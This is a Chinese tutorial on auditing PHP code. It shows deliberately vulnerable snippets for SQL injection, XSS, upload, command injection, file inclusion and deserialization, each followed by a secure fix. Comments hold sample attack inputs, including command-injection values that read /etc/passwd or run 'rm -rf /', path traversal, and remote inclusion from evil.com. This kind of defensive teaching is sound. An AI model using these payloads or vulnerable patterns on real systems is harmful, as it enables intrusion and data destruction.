当前位置:首页>php>PHP代码审计实战:发现并修复安全漏洞

PHP代码审计实战:发现并修复安全漏洞

  • 2026-09-07 20:25:15
PHP代码审计实战:发现并修复安全漏洞

代码审计是发现安全漏洞的重要手段,本文详细讲解PHP代码审计的方法、常见漏洞类型及修复方案。

一、代码审计概述

1.1 审计流程

【代码审计流程】

1、信息收集 → 了解框架、目录结构、配置
2、漏洞挖掘 → 查找危险函数、追踪数据流
3、漏洞验证 → POC验证、确认影响范围
4、报告输出 → 漏洞描述、修复建议

1.2 常见漏洞类型

漏洞类型
危害等级
常见原因
SQL注入
高危
未过滤用户输入
XSS
中高危
未转义输出
文件上传
高危
未验证文件类型
命令注入
高危
拼接系统命令
文件包含
高危
动态包含文件

二、SQL注入审计

2.1 漏洞代码

<?php
// ❌ 危险:直接拼接SQL
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = $pdo->query($sql);

// ❌ 危险:字符串拼接
$sql = "SELECT * FROM users WHERE name LIKE '%" . $_GET['keyword'] . "%'";

2.2 安全修复

<?php
// ✅ 安全:预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

// ✅ 安全:LIKE查询
$keyword = addcslashes($_GET['keyword'], '%_');
$stmt = $pdo->prepare("SELECT * FROM users WHERE name LIKE ?");
$stmt->execute(['%' . $keyword . '%']);

三、XSS跨站脚本审计

3.1 漏洞代码

<?php
// ❌ 反射型XSS
echo"搜索结果:" . $_GET['keyword'];

// ❌ 存储型XSS
$comment = $_POST['comment'];
$db->insert('comments', ['content' => $comment]);
// 显示时
echo $row['content'];

// ❌ DOM型XSS(前端)
// document.getElementById('output').innerHTML = location.hash;

3.2 安全修复

<?php
// ✅ 输出转义
echo"搜索结果:" . htmlspecialchars($_GET['keyword'], ENT_QUOTES, 'UTF-8');

// ✅ 封装转义函数
functione($string){
return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
}

echo"搜索结果:" . e($_GET['keyword']);

// ✅ 富文本使用HTMLPurifier
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$cleanHtml = $purifier->purify($_POST['content']);

四、文件上传审计

4.1 漏洞代码

<?php
// ❌ 危险:只检查扩展名
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['jpg', 'png', 'gif'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
}
// 攻击:上传 shell.php.jpg 或 shell.jpg(内含PHP代码)

4.2 安全修复

<?php
functionsecureUpload($file, $allowedTypes = ['image/jpeg', 'image/png']){
// 1、检查MIME类型
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mimeType = $finfo->file($file['tmp_name']);

if (!in_array($mimeType, $allowedTypes)) {
thrownewException('不允许的文件类型');
    }

// 2、检查文件内容(图片验证)
if (strpos($mimeType, 'image/') === 0) {
        $imageInfo = getimagesize($file['tmp_name']);
if ($imageInfo === false) {
thrownewException('无效的图片文件');
        }
    }

// 3、生成随机文件名
    $ext = ['image/jpeg' => 'jpg', 'image/png' => 'png'][$mimeType];
    $newName = bin2hex(random_bytes(16)) . '.' . $ext;

// 4、存储到非Web目录或设置不可执行
    $uploadDir = '/var/uploads/';
    $targetPath = $uploadDir . $newName;

if (!move_uploaded_file($file['tmp_name'], $targetPath)) {
thrownewException('上传失败');
    }

return $newName;
}

五、命令注入审计

5.1 漏洞代码

<?php
// ❌ 危险:直接拼接命令
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);

// 攻击:ip=127.0.0.1; cat /etc/passwd
// 攻击:ip=127.0.0.1 && rm -rf /

5.2 安全修复

<?php
// ✅ 方案1:参数转义
$ip = escapeshellarg($_GET['ip']);
$output = shell_exec("ping -c 4 " . $ip);

// ✅ 方案2:白名单验证
functionpingHost($ip){
// 验证IP格式
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
thrownewException('无效的IP地址');
    }

return shell_exec("ping -c 4 " . escapeshellarg($ip));
}

// ✅ 方案3:避免使用shell命令
// 使用PHP原生函数替代

六、文件包含审计

6.1 漏洞代码

<?php
// ❌ 本地文件包含(LFI)
$page = $_GET['page'];
include("pages/" . $page . ".php");
// 攻击:page=../../../etc/passwd%00

// ❌ 远程文件包含(RFI)
include($_GET['url']);
// 攻击:url=http://evil.com/shell.txt

6.2 安全修复

<?php
// ✅ 白名单验证
$allowedPages = ['home', 'about', 'contact', 'products'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowedPages)) {
    $page = 'home';
}

include("pages/{$page}.php");

// ✅ 路径规范化检查
functionsafeInclude($file){
    $basePath = realpath(__DIR__ . '/pages/');
    $fullPath = realpath($basePath . '/' . $file . '.php');

// 确保文件在允许的目录内
if ($fullPath === false || strpos($fullPath, $basePath) !== 0) {
thrownewException('非法的文件路径');
    }

include($fullPath);
}

七、反序列化审计

7.1 漏洞代码

<?php
// ❌ 危险:反序列化用户输入
$data = unserialize($_COOKIE['user_data']);

// 危险的类
classFileHandler{
public $filename;

publicfunction__destruct(){
// 析构时删除文件
if (file_exists($this->filename)) {
            unlink($this->filename);
        }
    }
}
// 攻击者可构造恶意序列化数据删除任意文件

7.2 安全修复

<?php
// ✅ 方案1:使用JSON替代
$data = json_decode($_COOKIE['user_data'], true);

// ✅ 方案2:限制允许的类
$data = unserialize($input, ['allowed_classes' => ['User', 'Product']]);

// ✅ 方案3:签名验证
functionsecureSerialize($data, $key){
    $serialized = serialize($data);
    $signature = hash_hmac('sha256', $serialized, $key);
return base64_encode($signature . '|' . $serialized);
}

functionsecureUnserialize($input, $key){
    $decoded = base64_decode($input);
    [$signature, $serialized] = explode('|', $decoded, 2);

    $expectedSignature = hash_hmac('sha256', $serialized, $key);

if (!hash_equals($expectedSignature, $signature)) {
thrownewException('签名验证失败');
    }

return unserialize($serialized, ['allowed_classes' => false]);
}

八、审计工具推荐

8.1 静态分析工具

# PHPStan - 静态分析
composer require --dev phpstan/phpstan
./vendor/bin/phpstan analyse src

# Psalm - 类型检查和安全分析
composer require --dev vimeo/psalm
./vendor/bin/psalm

# RIPS - 专业PHP安全扫描(商业)
# Semgrep - 开源代码扫描
semgrep --config=p/php src/

8.2 危险函数清单

<?php
/*
【需要重点审计的危险函数】

命令执行:
- system(), exec(), shell_exec()
- passthru(), popen(), proc_open()
- 反引号 ``

代码执行:
- eval(), assert()
- preg_replace() 带/e修饰符
- create_function()

文件操作:
- include(), require()
- file_get_contents(), file_put_contents()
- fopen(), fwrite(), unlink()

数据库:
- mysql_query(), mysqli_query()
- PDO::query()(非预处理)

反序列化:
- unserialize()

其他:
- extract(), parse_str()
- call_user_func(), call_user_func_array()
*/

九、总结

9.1 安全编码原则

【安全编码原则】

1、输入验证
   - 所有输入都不可信
   - 使用白名单验证
   - 类型和长度检查

2、输出编码
   - HTML输出转义
   - SQL使用预处理
   - 命令使用转义函数

3、最小权限
   - 数据库账号最小权限
   - 文件系统最小权限
   - 禁用危险函数

4、纵深防御
   - 多层验证
   - WAF防护
   - 日志监控

📌 下期预告:《漏洞扫描工具使用》

💡 实践建议:定期进行代码审计,建立安全编码规范

最新文章

随机文章